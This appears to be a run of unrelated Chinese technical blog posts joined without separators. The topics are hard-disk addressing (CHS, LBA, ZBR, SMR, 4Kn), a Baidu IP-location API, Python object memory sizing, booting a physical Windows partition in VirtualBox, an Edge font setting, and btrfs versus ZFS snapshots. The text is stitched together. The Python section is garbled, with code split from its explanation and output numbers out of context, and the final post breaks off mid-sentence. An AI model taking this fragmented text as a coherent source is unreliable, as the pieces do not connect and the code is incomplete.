此時的操作系統和文件系統已經開始出現針對 CHS 尋址特點的優化方式, 儘量減少跨磁道的尋址能一定程度提升讀寫速度,跨磁道時的磁道間距離也會影響尋道時間, 文件系統可能會根據CHS地址來安排數據結構,優化這些尋址時間。
即便使用沒有針對 CHS 尋址方式優化過的操作系統和文件系統,比如侷限在早期 Windows 和 FAT 系文件系統上,早期這些桌面系統用戶們仍然能自己優化磁盤讀寫性能:通過分區。 分區是硬盤上連續的一段空間,早期由於 BIOS 和 bootloader 的一些技術限制, 每個分區必須對齊到柱面大小上。早期 PC 玩家們通過把一個大硬盤切分成多個小分區, 使用時儘量保持近期讀寫針對同一個分區,就可以減少尋址時的額外開銷,改善讀寫速度。
於是隱含地,CHS 尋址導致底層硬盤和上層操作系統之間有一層性能約定: 連續讀寫保證最快的讀寫速度 。硬盤實現 CHS 尋址時,調整扇區編號方式讓連續的 CHS 地址有最快讀寫速度,文件系統也根據這個約定, 按照 CHS 地址的跳躍來估算讀寫速度耗時並針對性優化。
以上物理 CHS 尋址,其實依賴一個假設: 每個磁道上有同樣數量的扇區 。早期硬盤上也的確遵循這個假設, 所以我們上面的圖示裏纔能把一個盤面上的扇區展開成一張長方形的表格,因爲每個磁道的扇區數是一樣的。 實際上當時的硬盤都是恆定角速度(constant angular velocity, CAV)的方式讀寫,無論磁頭在哪兒, 盤片都旋轉保持恆定的轉速,所以對磁頭來說在單位時間內轉過的角度影響讀寫二進制位的數量, 而磁頭掃過的面積在這裏沒有影響。
不過隨着硬盤容量增加,盤面的數據密度也隨之增加,單位面積中理論能容納的二進制位數量有限。 理論上,如果保持相同密度的話,盤片外圈能比內圈容納更多數據。因此硬盤廠商們開始在盤面上將磁道劃分出 區塊(zone),外圈區塊中的磁道可以比內圈區塊中的磁道多放入一些扇區。這種方式下生產出的硬盤叫 區位記錄硬盤(Zone bit recoding, ZBR),相對的傳統固定磁道中扇區數的硬盤就被叫做恆定角速度(CAV) 硬盤。
如右圖所示,區位記錄在硬盤上將多個柱面組合成一個區塊,區塊內的磁道有相同數量的扇區, 而不同區塊的磁道可以有不同數量的扇區,外圈區塊比內圈區塊有更多扇區。
顯然要支持 ZBR ,物理 CHS 尋址方式不再有效,於是 ZBR 硬盤將原本簡單的地址換算電路升級爲更複雜的磁盤控制器芯片,替代 CPU 來驅動硬盤,把來自文件系統的邏輯 CHS 地址通過換算轉換到物理 CHS 地址,並且驅動磁頭做跳轉和尋址。 從而有了獨立的控制芯片之後,硬盤讀寫扇區的速度不再受 CPU 速度影響。有了完整的邏輯-物理地址轉換後, 邏輯扇區編號不再對應物理扇區編號,上述編號跳轉和壞扇區處理之類的事情都由磁盤控制芯片代爲完成。 從而 CHS 地址已經喪失了物理意義,只留下 連續讀寫保證最快的讀寫速度 這樣的性能約定。
有了 ZBR 之後,硬盤讀寫速度也不再恆定,雖然仍然保持恆定轉速,但是讀寫外圈磁道時單位時間掃過的扇區 多於讀寫內圈磁道時掃過的扇區。所以 ZBR 硬盤的低端地址比高端地址有更快的讀寫速度, 通過硬盤測速軟件能觀察到階梯狀的「掉速」現象。
邏輯地址轉換也會造成邏輯 CHS 尋址能訪問到的扇區數少於物理 CHS 尋址的現象, 磁盤中扇區被重新編號後可能有一些扇區剩餘,於是 ZBR 硬盤的出廠低級格式化可能會均分這些訪問不到的扇區 給每個磁道作爲保留扇區,留作壞扇區後備。
另外有了獨立磁盤控制器芯片之後,扇區內的校驗算法也不再受制於 BIOS INT 13H 接口。 原本 BIOS 的 INT 13H 接口定義了每個扇區 512 字節,額外配有 4 字節校驗, 32bit 的校驗碼對 4096bit 的數據來說,只能允許一些簡單的校驗算法,比如 32bit CRC ,或者比如 漢明碼 對 4096bit 的數據需要 13bit 的校驗。突破了校驗算法限制後硬盤可以在物理扇區中放更多校驗位,使用更複雜的 ECC 算法,提供更強的容錯性。 IDE/SATA 接口的硬盤由內部控制器負責計算和比對校驗,而 SAS 接口的硬盤(主要用於服務器)可以讀取 520/528 字節長度的扇區,包含額外校驗位。
通過 ZBR ,邏輯 CHS 尋址不再侷限在具體每磁道扇區數等物理限制上,但是仍然侷限在 CHS 總位數。 24bit 的 CHS 地址能尋址 \(1024*256*63 = 16515072\) 個扇區,也就是 8064MiB 的空間。 於是早期很多操作系統有 7.8G 硬盤大小的限制。後來 ATA/IDE 標準提升了 CHS 尋址數量,從 24bit 到 28bit 到 32bit ,不過在系統引導早期仍然依賴 BIOS 最基本的 24bit CHS 尋址能力,於是那時候安裝系統時要求引導程序裝在前 8G 範圍內也是這個原因。
隨着硬盤大小不斷提升,無論是操作系統軟件層,還是硬盤廠商硬件層,都逐漸意識到邏輯 CHS 尋址是兩邊相互欺騙對方的騙局:文件系統根據假的 CHS 地址的提示苦苦優化,而硬盤控制器又要把物理 CHS 模擬到假的 CHS 地址上以兼容 BIOS 和操作系統。和 CS 領域太多別的事情一樣, CHS 尋址過早地暴露出太多底層抽象細節,而上層軟件又轉而依賴於這些暴露出的細節進行優化, 底層細節的變動使得上層優化不再是有意義的優化。
於是 ATA 標準 引入了 邏輯塊尋址(Logical Block Addressing, LBA) 來替代 CHS 尋址,解決其中的混亂。LBA 的思路其實就是邏輯 CHS 尋址的簡單換算,因爲 CHS 尋址下 S 從 1 開始計算,而 LBA 使用連續扇區編號,從 0 開始編號,所以換算公式如下:
使用 LBA 尋址,操作系統和文件系統直接尋址一個連續地址空間中的扇區號, 不應該關心柱面和磁頭之類的物理參數,將這些物理細節交由磁盤控制器。 對操作系統和文件系統這些上層軟件而言,LBA尋址的抽象仍然保證了 連續讀寫提供最快的讀寫速度 ,文件系統仍然會嘗試根據 LBA 地址優化,儘量連續讀寫從而減少尋道時間。
從 CHS 尋址切換到 LBA 尋址,需要硬盤和操作系統兩方面的努力,所以很長一段時間, 硬盤同時支持兩種尋址方式,在控制器內部做轉換。最後需要放棄支持的是深植了 CHS 尋址的 BIOS ,使用 BIOS 引導的 MBR 引導程序還在用 CHS 尋址方式讀取數據加載操作系統,直到大家都切換到 UEFI 。
並且隨着硬盤使用 LBA 尋址,導致上層軟件很難預測底層硬件實際切換柱面切換磁頭之類的時機, 潛在地導致一些性能不確定性。於是硬盤控制器在除了負責實際驅動物理磁盤之外, 還開始負責維護一塊盤內緩衝區,實現盤內的 IO 隊列。緩衝區的存在允許磁盤控制器同時接收更多來自上層軟件 的讀寫請求,轉換成實際物理佈局參數,並根據磁盤物理佈局來調整讀寫順序,增加總體吞吐率。 比如 ATA TCQ 和 SATANCQ 就是這樣的盤內隊列協議。
當然有緩衝區和盤內隊列的存在也使得突然斷電之類的情況下更難保證數據一致性,於是 SCSI/SATA 標準開始約定特殊的請求,從操作系統能發送命令讓底層設備清空自己的讀寫隊列。
逐漸從歷史講到了現在,隨着硬盤記錄密度的不斷增加,硬盤廠商們也在不斷發明新技術嘗試突破磁盤記錄的物理極限。 因爲有了在硬盤上獨立的控制器,並且切換到了邏輯塊地址(LBA)的尋址方式, 操作系統大部分時候不用再關心底層硬盤的物理技術革新,比如垂直寫入技術(perpendicular magnetic recording, PMR)將磁頭記錄方式從水平轉換成垂直記錄,增加了記錄密度,但不影響尋址方式。
不過技術革新中也有影響尋址方式的技術,比如 疊瓦磁記錄技術(Shingled Magnetic Recording, SMR) 。 SMR 技術基於一個技術事實:物理上磁頭的寫入頭(write head)需要比讀取頭(read head )佔用更大面積,如果按照寫入頭的物理極限放置磁記錄,那麼對於讀取頭會有很多空間浪費。從而 SMR 試圖讓相鄰磁道的寫入有部分重疊,從而增加記錄密度。即便重疊了相鄰磁道,讀取磁道還是能隨機定位, 而寫入磁道會覆蓋它後面疊加上的磁道,所以寫入磁道必須嚴格按地址順序寫入。爲了滿足隨機順序寫入的需要, SMR 硬盤把連續的幾個磁道組織成區塊(zone),在一個區塊內必須按順序寫入。 這裏的區塊可以和區位記錄(ZBR)是同樣的區塊,也可以獨立於 ZBR 做不同大小的區塊分割。
這種區塊內連續寫入的要求,很像是 SSD 這種基於閃存介質的記錄方式, SMR 硬盤也同樣像 SSD 一樣在磁盤控制器內引入 日誌結構式的記錄方式,採用類似的 GC 算法 ,收到隨機寫入請求的時候,在區塊間執行 GC 搬運數據塊,對操作系統提供可以任意寫入的抽象接口。
當然這種類似閃存介質的 FTL 的抽象有對讀寫性能的直接影響。SMR 硬盤可以將這些細節完全隱藏起來( Device Managed),或者完全暴露給宿主系統(Host Managed ),或者在讀寫時隱藏細節的同時在宿主想查詢的時候提供接口查詢(Host Aware)。和 SSD 一樣,消費級的 SMR 硬盤通常選擇隱藏細節只在被詢問時暴露,完全暴露細節的設備通常只在企業服務器級別 的產品中看到。
可以期待,隨着 SMR 硬盤的逐漸普及,文件系統設計中也將更多考慮 SMR 的特性加以優化。這些優化可能參考 對 SSD 的優化(比如儘量連續寫入),但是又不能完全照搬(比如 SSD 需要考慮寫平衡而 SMR 硬盤不需要,比如 SSD 不用擔心隨機尋道時間而 SMR 硬盤需要)。這些對現在和未來文件系統的設計提供了更多挑戰。
不侷限於硬盤,存儲設備發展中另一個方向是增加扇區大小。如前所述,在應用於 PC 之前的硬盤設計也曾有過比 512 字節更小的扇區大小,而自從 PC 普及之後 512 字節扇區逐漸成爲主流, 甚至到了揮之不去的地步。隨着硬盤容量提升,直接尋址 512 字節的扇區顯得不再那麼高效, 文件系統內部也早已把多個扇區合併成一個邏輯簇(cluster)或者塊(block),按簇或塊的粒度管理。 在底層硬件同樣也是按照 512 字節大小劃分扇區,每個扇區都要獨立計算校驗,如果能增大扇區大小到比如 4KiB,將能更經濟地安排扇區校驗碼,從而得到更多可用容量。可見 512 字節扇區大小這一設計,和 CHS 尋址一樣,逐漸成爲了操作系統和硬盤廠商彼此間互相努力維護的謊言。
硬盤物理扇區提升爲 4KiB 大小的設計,叫做「 先進格式化(Advanced Format) 」,這樣的硬盤叫做先進格式化硬盤(AFD)。在此基礎上,硬盤控制器可以提供模擬 512 字節扇區的模擬層, 叫做 512e ,也可以直接提供 4K 大小的扇區給操作系統,叫做 4K native (4Kn)。 操作系統和文件系統要儘量避免依賴 512e 以提供最優性能,支持 4Kn 扇區尋址也是現在和未來 文件系統設計中一個重要挑戰。
除了提升容量,硬盤發展的另一個方向是提升讀寫速度。通過上述 CHS 尋址方式可見, 傳統方式下提升硬盤讀寫速度有兩種方式:
第一種方式提升記錄密度,在增加容量的同時也能提升硬盤讀寫速度,所以是長久以來硬盤廠商的主要方式。 第二種方式提升轉速則很快就遇到了物理瓶頸,硬盤以前是 5400rpm 現在最高能到 15000rpm 附近,高速旋轉的盤片就像一個螺旋槳一樣,外圈線速度已經到了接近聲速,很難再往上提升。 以及盤片轉速影響連續讀寫速度,而磁頭臂轉速影響尋道速度,高速尋道對磁頭臂旋轉有極高精度要求。
所以長久以來,衡量硬盤速度有兩項指標:連續讀寫速度和每秒操作數(IOPS),隨着容量提升, 也在提升連續讀寫速度,但是很難提升 IOPS ,相對而言隨機尋道所需的開銷越來越昂貴。
目前硬盤廠商們在嘗試一種新的方式提升硬盤 IOPS :增加一條磁頭臂。一個硬盤驅動器內封入兩組甚至多組 磁頭臂,每個磁頭臂能獨立旋轉,從而能獨立尋址定位。這樣的硬盤叫雙/多磁頭臂(Dual/Multi Actuator)硬盤。
從操作系統角度來看,雙磁頭臂硬盤更像是一根連接線上接有等容量的兩個獨立驅動器, 可以在盤內控制器上組 RAID0 ,或者把兩個磁頭臂都暴露給操作系統,由操作系統組 RAID0 或更智能地使用獨立尋址的能力。
軟件層面的優化與硬件層面的革新一直是一組矛盾。長久以來文件系統和硬盤設備在關於尋址方式的磨合中, 逐漸演化出一條真理,也是我文中一直在強調的: 連續讀寫提供最快的讀寫速度 。文件系統總是能根據底層設備暴露出的一些抽象泄漏,比如物理 CHS 佈局,比如 512 字節扇區大小, 針對性做更多優化,但是隨着底層設備的技術革新這些優化也隨之成爲泡影。
從 SMR 技術中也能看出, 硬盤的讀寫接口也在逐漸向 SSD 的接口靠攏,從而文件系統的「優化」也在逐漸 向這種「傾向順序寫入」的方向優化。關於這些發展趨勢待我有空再談。
我这个博客在评论的时候会获取评论人的IP,并做个地理位置标注,这个需求很普遍很简单,也不需要精度,有个大概省市区就好了。一直都没找到合适的IP查询接口,以前IP138免费,后来这条路就走不通了,直接去爬这路也都断了,后来陆续网站少了诸如新浪,淘宝等接口,多数都不稳定。稳定的又是要收费的,倒是在聚合数据上发现也有挺便宜的接口卖,原打算接入。这不最近调百度地图接口看到竟然百度也提供了IP普通定位接口,关键是不要钱,你说这不香吗?这也不算个教程,话不多说,干。
用的百度账户登录就行,然后创建一个应用,得到一个AK,后面要用。如图
创建完应用后,点击顶部开发文档,随便点个文档进去,会有一个开发文档列表,找到普通IP定位服务,打开服务文档,就能看到接口地址了。
文档上有标准的接口返回信息,保险起见还是调试下接口数据吧。得到的数据内容和文档上一致。
就一个CURL没啥好说的,自己构造一下就完事了。这里说明一下拿到的数据,比如上图我的这个,CN|上海|上海|None|CHINANET|0|0,很显然百度对外提供的只到地级市,区县级没有提供,我测试了很多IP,区县级数据都是None,这也可以理解,毕竟基础运营商是按地级市公司做运营主体的。所以IP归属也都是地级市级别,不过这对我够用了。第二就是网络运营商,都是用的运营商代码简称。比如电信用的是CHINANET。我通过百度统计获取了大部分运营商的代码,列表如下,免得你去找了。
CHINANET | 中国电信(电信通) |
UNICOM | 中国联通(网通) |
CMNET | 中国移动(铁通) |
CERNET | 教育网 |
BJENET | 北京教育信息网 |
WASU | 华数宽带(主要是浙江) |
COLNET | 东方有线(主要是上海) |
FOUNDERBN | 方正宽带(主要是北京) |
TOPWAY-NET | 天威视讯(主要是深圳) |
DXTNET | 长城宽带、歌华有线等二级接入商 |
水完,睡觉,抗击疫情为国贡献去了~
sys.getsizeof()
来计算内存,但是用这个方法计算时,可能会出现意料不到的问题。__sizeof__()
魔术方法,对于内置对象来说,这个方法是通过 CPython 解释器实现的。/*longobject.c*/
static Py_ssize_t
int___sizeof___impl(PyObject *self)
{
Py_ssize_t res;
res = offsetof(PyLongObject, ob_digit) + Py_ABS(Py_SIZE(self))*sizeof(digit);
return res;
}
pympler
和 pysize
:第一个项目已发布在 Pypi 上,可以“pip install pympler”安装;第二个项目烂尾了,作者也没发布到 Pypi 上(注:Pypi 上已有个 pysize 库,是用来做格式转化的,不要混淆),但是可以在 Github 上获取到其源码。64
118
190
206
300281
30281
def get_size(obj, seen=None):
"""Recursively finds size of objects in bytes"""
size = sys.getsizeof(obj)
if seen is None:
seen = set()
obj_id = id(obj)
if obj_id in seen:
return 0
# Important mark as seen *before* entering recursion to gracefully handle
# self-referential objects
seen.add(obj_id)
if hasattr(obj, '__dict__'):
for cls in obj.__class__.__mro__:
if '__dict__' in cls.__dict__:
d = cls.__dict__['__dict__']
if inspect.isgetsetdescriptor(d) or inspect.ismemberdescriptor(d):
size += get_size(obj.__dict__, seen)
break
if isinstance(obj, dict):
size += sum((get_size(v, seen) for v in obj.values()))
size += sum((get_size(k, seen) for k in obj.keys()))
elif hasattr(obj, '__iter__') and not isinstance(obj, (str, bytes, bytearray)):
size += sum((get_size(i, seen) for i in obj))
if hasattr(obj, '__slots__'): # can have __slots__ with __dict__
size += sum(get_size(getattr(obj, s), seen) for s in obj.__slots__ if hasattr(obj, s))
return size
__dict__
和 __slots__
属性的部分(针对类对象),它主要是对字典类型及可迭代对象(除字符串、bytes、bytearray)作递归的计算,逻辑并不复杂。 def asizeof(self, *objs, **opts):
'''Return the combined size of the given objects
(with modified options, see method **set**).
'''
if opts:
self.set(**opts)
self.exclude_refs(*objs) # skip refs to objs
return sum(self._sizer(o, 0, 0, None) for o in objs)
def _sizer(self, obj, pid, deep, sized): # MCCABE 19
'''Size an object, recursively.
'''
s, f, i = 0, 0, id(obj)
if i not in self._seen:
self._seen[i] = 1
elif deep or self._seen[i]:
# skip obj if seen before
# or if ref of a given obj
self._seen.again(i)
if sized:
s = sized(s, f, name=self._nameof(obj))
self.exclude_objs(s)
return s # zero
else: # deep == seen[i] == 0
self._seen.again(i)
try:
k, rs = _objkey(obj), []
if k in self._excl_d:
self._excl_d[k] += 1
else:
v = _typedefs.get(k, None)
if not v: # new typedef
_typedefs[k] = v = _typedef(obj, derive=self._derive_,
frames=self._frames_,
infer=self._infer_)
if (v.both or self._code_) and v.kind is not self._ign_d:
# 猫注:这里计算 flat size
s = f = v.flat(obj, self._mask) # flat size
if self._profile:
# profile based on *flat* size
self._prof(k).update(obj, s)
# recurse, but not for nested modules
if v.refs and deep < self._limit_ \
and not (deep and ismodule(obj)):
# add sizes of referents
z, d = self._sizer, deep + 1
if sized and deep < self._detail_:
# use named referents
self.exclude_objs(rs)
for o in v.refs(obj, True):
if isinstance(o, _NamedRef):
r = z(o.ref, i, d, sized)
r.name = o.name
else:
r = z(o, i, d, sized)
r.name = self._nameof(o)
rs.append(r)
s += r.size
else: # just size and accumulate
for o in v.refs(obj, False):
# 猫注:这里递归计算 item size
s += z(o, i, d, None)
# deepest recursion reached
if self._depth < d:
self._depth = d
if self._stats_ and s > self._above_ > 0:
# rank based on *total* size
self._rank(k, obj, s, deep, pid)
except RuntimeError: # XXX RecursionLimitExceeded:
self._missed += 1
if not deep:
self._total += s # accumulate
if sized:
s = sized(s, f, name=self._nameof(obj), refs=rs)
self.exclude_objs(s)
return s
def flat(self, obj, mask=0):
'''Return the aligned flat size.
'''
s = self.base
if self.leng and self.item > 0: # include items
s += self.leng(obj) * self.item
# workaround sys.getsizeof (and numpy?) bug ... some
# types are incorrectly sized in some Python versions
# (note, isinstance(obj, ()) == False)
# 猫注:不可 sys.getsizeof 的,则用上面逻辑,可以的,则用下面逻辑
if not isinstance(obj, _getsizeof_excls):
s = _getsizeof(obj, s)
if mask: # align
s = (s + mask) & ~mask
return s
为了更好的性能,当初装系统时选择了双系统的方式,又为了满足我对于几款win平台软件的需求,安装了一台 Win 7 虚拟机(前不久换成了 Win 8.1)。近来发现,Windows 10虽然作为我的必备系统,但我打开她的频率不是太高,而且Windows虚拟机由于需求越来越多,磁盘剩余逐渐变小。于是我想到把我“闲置”的Win 10系统利用起来,一方面,经过我几年的使用和配置,肯定比虚拟机用得顺手,同时也免去了开机切换系统的麻烦;另一方面,当初装系统时给 Win 10 分配的空间比Arch Linux多很多,如果利用起来的话,我Arch上的一些替代软件就可以删除了,这样可以给我腾出不少空间。
PS: 本文所用的这种方式启动的Windows肯定是存在问题的,最明显的就是驱动的问题了,建议三思后再尝试!
首先,看看我的分区情况
~ sudo fdisk -l
...
设备 起点 末尾 扇区 大小 类型
/dev/nvme0n1p1 2048 206847 204800 100M EFI 系统
/dev/nvme0n1p2 206848 468991 262144 128M Microsoft 保留
/dev/nvme0n1p3 468992 395255172 394786181 188.3G Microsoft 基本数据
/dev/nvme0n1p4 395257856 500118158 104860303 50G Linux 文件系统
/dev/sda1 * 2048 488394751 488392704 232.9G 7 HPFS/NTFS/exFAT
...
前3个就是我所需的的分区了,其中我电脑的Win 10系统就在/dev/nvme0n1p3
分区
为了避免使用 root 运行 VirtualBox,所以需要给自己访问磁盘的权限,因为我的Win 10使用UEFI 启动,所以 UEFI 分区的权限也是需要的
## 为当前用户获取硬盘分区读写权限
~ sudo setfacl -m u:${USER}:rw /dev/nvme0n1p{1,2,3}
## 为当前用户获取硬盘读写权限
~ sudo setfacl -m "u:${USER}:rw" /dev/nvme0n1
创建之前需要先获取整块硬盘的读写权限,要注意的是nvme SSD的设备名称是nvme0n1
## 创建磁盘映射文件 windows.vmdk
~ VBoxManage internalcommands createrawvmdk -filename windows.vmdk -rawdisk /dev/nvme0n1 -partitions 1,2,3 -relative
## 创建完成后可以撤销对 nvme0n1 的权限
~ sudo setfacl -b /dev/nvme0n1
使用-partitions 1,2,3
选项的话,只有这三个分区能在虚拟机里访问,别的分区读的时候是全零,写入操作会被忽略。-relative
选择使用分区设备名(nvme0n1p1、nvme0n1p2、nvme0n1p3),这样创建好之后 VirtualBox 不再需要对整块硬盘 nvme0n1 的权限了。另外会附带创建一个名字以 -pt.vmdk
结尾的文件。它是单独的分区表。
这一步主要是为了配置一些主板额外的信息,参考Configuring the BIOS DMI Information。注意:如果你和我一样是使用UEFI启动的话,代码语句里面的pcbios
应换为efi
。示例如下:
## 可能需要
~ sudo pacman -S dmidecode
## 获取dmi type0的信息
~ sudo dmidecode -t0
## Windows 10 即为虚拟机名字,10/23/2018就在刚获取的dmi信息中
~ VBoxManage setextradata "Windows 10" "VBoxInternal/Devices/efi/0/Config/DmiBIOSReleaseDate" "10/23/2018"
打开 VirtualBox,按照常规步骤创建虚拟机,硬盘就选刚创建的磁盘映射文件,创建完成后记得在设置-系统-主板里勾选 启用EFI
,然后就可以开机了。注意:重启后必须重新为当前用户获取硬盘分区读写权限!sudo setfacl -m u:${USER}:rw /dev/nvme0n1p{1,2,3}
话不多说,先上图
<noscript><img alt="win10" height="1080" src="https://view.spiritx.xyz/images/2020/03/01/win10.png" width="1920" /></a><br /></noscript>
美中不足的是打开发现数字许可证失效了orz,而且指纹和pin解锁不能使用,经过一番Google,应该是TPM失效的缘故,而 VirtualBox 不支持vTPM......看来我只能将就用了。值得一提的是,如果你是通过主板硬件来激活 Windows 的话,那么可以尝试下下面这个方法(虽然我也没试过,不过理论上来讲没问题~~
## 查看key
~ sudo cat /sys/firmware/acpi/tables/MSDM
## 如果没有的话就放弃吧~_~
## 把key导出
~ sudo dd if=/sys/firmware/acpi/tables/MSDM of=/home/spirit/VirtualBox VMs/msdm.bin
## 导入虚拟机
~ VBoxManage setextradata "Windows 10" "VBoxInternal/Devices/acpi/0/Config/CustomTable" "/home/spirit/VirtualBox VMs/msdm.bin"
既然可以从Linux启动Win,那能不能从Win启动Linux呢,我试着创建了一个磁盘映射,答案是可以的,不过需要注意的是操作均需在管理员权限下执行。Win+x
,点击磁盘管理,查看硬盘序号,我的系统盘是磁盘1
,所以硬盘选择了\\.\PhysicalDrive1
## 列出磁盘分区
C:\Users\spirit\Documents> "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" internalcommands listpartitions -rawdisk "\\.\PhysicalDrive1"
Number Type StartCHS EndCHS Size (MiB) Start (Sect)
1 0x00 0 /0 /0 0 /0 /0 100 2048
2 0x00 0 /0 /0 0 /0 /0 128 206848
3 0x00 0 /0 /0 0 /0 /0 192766 468992
4 0x00 0 /0 /0 0 /0 /0 51201 395257856
## 创建磁盘映射linux.vmdk
C:\Users\spirit\Documents> "C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" internalcommands createrawvmdk -filename linux.vmdk -rawdisk "\\.\PhysicalDrive1" -partitions 1,4
之后和前面一样,创建虚拟机,注册虚拟磁盘,不过需要注意的是以管理员身份运行 VirtualBox。
参考文章:
首先这是一篇水文。作为微软的壳,谷歌的心,Edge浏览器正逐步替换微软亲生儿子IE,越来越多的人把Edge当做Chrome的备用浏览器来使用了。那天为了测试某个兼容问题,刻意下载了下Edge来尝试一下。总体来说,这款浏览器还是很好用的。所以就没删除,一直留在了系统里。再后来闲着么事开了下我的博客,偶买噶,这排版怎么成了这逼样。看个图来体会一下。排版错位,字体咋还这么大,这怎么能忍,必须不能忍。
首先肯定不会是自己代码太烂造成了,毕竟Chrome和国产扛把子上都显示正常,甚至古董IE多数也正常(IE6负分滚粗)。群里截个图发了下,两个大佬火速截图给我他们的Edge显示正常。这泥煤的肯定是我自己的设置问题了。
右上角三点君,很容易找到设置,一眼看过去,外观设置里面,有个字体大小设置,默认是中(推荐),改成小,发现不行,改成非常小,也不行,并且无论小还是非常小,页面上的字体都没有变化,这就奇怪了。发现下面还有一个自定义字体,点开后可以设置标准字体,等宽字体等,上面有一个最小字体设置,拖动滑块,我的默认的是16px,改成12px,因为我博客最小字体设置的最小是12px的字体,当拖动滑块到位后,看了下我的博客一切正常了
Edge内置了一套字体大小显示的规格,这是一个全局设置,如果设置了最小显示16px的字,那么即便网站定义了更小的字体也会被16px的字体替换,所以为了显示大多数的网页效果,还是将最小字体调到12px为好,甚至可以调到9px,因为很多站上的极小字体只有9px。当然现在新设计的站,都为了兼顾大屏和移动端,字号基本已经默认到了16px。这也为前端设计提供了一个参考指标。
zfs 這個東西倒是名不符實。叫 z storage stack 明顯更符合。 叫 fs 但不做 fs 自然確實會和 btrfs 有很大出入。我反而以前還好奇為什麼 btrfs 不弄 zvol , 直到我意識到這東西真是一個 fs ,名符奇實。—— 某不愿透露姓名的 Ext2FSD 開發者
Btrfs 和 ZFS 都是開源的寫時拷貝(Copy on Write, CoW)文件系統,都提供了相似的子卷管理和 快照(snapshot)的功能。網上有不少文章都評價 ZFS 實現 CoW FS 的創新之處,進而想說「 Btrfs 只是 Linux/GPL 陣營對 ZFS 的拙劣抄襲」。或許(在存儲領域人盡皆知而在領域外)鮮有人知,在 ZFS 之前就有 NetApp 的商業產品 WAFL (Write Anywhere File Layout) 實現了 CoW 語義的文件系統,並且集成了快照和卷管理之類的功能。描述 btrfs 原型設計的 論文 和 發表幻燈片 也明顯提到 WAFL 比提到 ZFS 更多一些,應該說 WAFL 這樣的企業級存儲方案纔是 ZFS 和 btrfs 共同的靈感來源,而無論是 ZFS 還是 btrfs 在其設計中都汲取了很多來自 WAFL 的經驗教訓。
我一開始也帶着「 Btrfs 和 ZFS 都提供了類似的功能,因此兩者必然有類似的設計」這樣的先入觀念,嘗試去使用這兩個文件系統, 卻經常撞上兩者細節上的差異,導致使用時需要不盡相同的工作流, 或者看似相似的用法有不太一樣的性能表現,又或者一邊有的功能,比如 ZFS 的在線去重(in-band dedup) , Btrfs 的 reflink ,在另一邊沒有的情況,進而需要不同細粒度的子卷劃分方案。後來看到了 LWN 的這篇 《A short history of btrfs》 讓我意識到 btrfs 和 ZFS 雖然表面功能上看起來類似,但是實現細節上完全不一樣, 所以需要不一樣的用法,適用於不一樣的使用場景。
爲了更好地理解這些差異,我四處蒐羅這兩個文件系統的實現細節,於是有了這篇筆記,
記錄一下我查到的種種發現和自己的理解。(或許會寫成一個系列?還是先別亂挖坑不填。)
只是自己的筆記,所有參閱的資料文檔都是二手資料,沒有深挖過源碼,還參雜了自己的理解,
於是難免有和事實相違的地方,如有寫錯,還請留言糾正。
關於寫時拷貝(CoW)文件系統的優勢,我們爲什麼要用 btrfs/zfs 這樣的寫時拷貝文件系統, 而不是傳統的文件系統設計,或者寫時拷貝文件系統在使用時有什麼區別之類的,網上同樣也能找到很多介紹 ,這裏不想再討論。這裏假設你用過 btrfs/zfs 至少一個的快照功能,知道它該怎麼用, 並且想知道更多細節,判斷怎麼用那些功能才合理。
先從兩個文件系統中(表面上看起來)比較簡單的 btrfs 的子卷(subvolume)和快照(snapshot)說起。 關於子卷和快照的常規用法、推薦佈局之類的話題就不細說了,網上能找到很多不錯的資料,比如 btrfs wiki 的 SysadminGuide 頁 和 Arch wiki 上 Btrfs#Subvolumes 頁都有不錯的參考價值。
在 btrfs 中,存在於存儲媒介中的只有「子卷」的概念,「快照」只是個創建「子卷」的方式, 換句話說在 btrfs 的術語裏,子卷(subvolume)是個名詞,而快照(snapshot)是個動詞。 如果脫離了 btrfs 術語的上下文,或者不精確地稱呼的時候,也經常有文檔把 btrfs 的快照命令創建出的子卷叫做一個快照,所以當提到快照的時候,根據上下文判斷這裏是個動詞還是名詞, 把名詞的快照當作用快照命令創建出的子卷就可以了。或者我們可以理解爲, 互相共享一部分元數據(metadata)的子卷互爲彼此的快照(名詞) , 那麼按照這個定義的話,在 btrfs 中創建快照(名詞)的方式其實有兩種:
btrfs subvolume snapshot
命令創建快照
btrfs send
命令並使用
-p
參數發送快照,並在管道另一端接收
btrfs send
命令的
-p
與
-c
這裏也順便提一下
btrfs send
命令的
-p
參數和
-c
參數的差異。
只看 btrfs-send(8) 的描述的話:
-p <parent>send an incremental stream from parent to subvol-c <clone-src>use this snapshot as a clone source for an incremental send (multiple allowed)
看起來這兩個都可以用來生成兩個快照之間的差分,只不過 -p 只能指定一個「parent」,
而 -c 能指定多個「clone source」。在
unix stackexchange 上有人寫明了這兩個的異同
。使用 -p 的時候,產生的差分首先讓接收端用 subvolume snapshot 命令對 parent 子卷創建一個快照,
然後發送指令將這個快照修改成目標子卷的樣子,而使用 -c 的時候,首先在接收端用 subvolume create
創建一個空的子卷,隨後發送指令在這個子卷中填充內容,其數據塊儘量共享 clone source 已有的數據。
所以
btrfs send -p
在接收端產生是有共享元數據的快照,而
btrfs send -c
在接收端產生的是僅僅共享數據而不共享元數據的子卷。
定義中「互相共享一部分 元數據 」比較重要,因爲除了快照的方式之外, btrfs
的子卷間也可以通過 reflink 的形式共享數據塊。我們可以對一整個子卷(甚至目錄)執行
cp -r --reflink=always
,創建出一個副本,副本的文件內容通過 reflink
共享原本的數據,但不共享元數據,這樣創建出的就不是快照。
說了這麼多,其實關鍵的只是 btrfs 在傳統 Unix 文件系統的「目錄/文件/inode」 這些東西之外只增加了一個「子卷」的新概念,而子卷間可以共享元數據或者數據, 用快照命令創建出的子卷就是共享一部分元數據。
首先要說明, btrfs 中大部分長度可變的數據結構都是 CoW B-tree ,一種經過修改適合寫時拷貝的B樹結構,所以在 on-disk format 中提到了很多個樹。這裏的樹不是指文件系統中目錄結構樹,而是寫時拷貝B樹(CoW B-tree,下文簡稱B樹) ,如果不關心B樹細節的話可以把 btrfs 所說的一棵樹理解爲關係數據庫中的一個表, 和數據庫的表一樣 btrfs 的樹的長度可變,然後表項內容根據一個 key 排序。
B樹結構由索引 key 、中間節點和葉子節點構成。每個 key
是一個
(uint64_t object_id, uint8_t item_type, uint64_t item_extra)
這樣的三元組,三元组每一项的具体含义由 item_type 定義。 key
三元組構成了對象的概念,每個對象(object)在樹中用一個或多個表項(item)描述,同 object_id
的表項共同描述一個對象。B樹中的 key 只用來比較大小而不必連續,從而 object_id
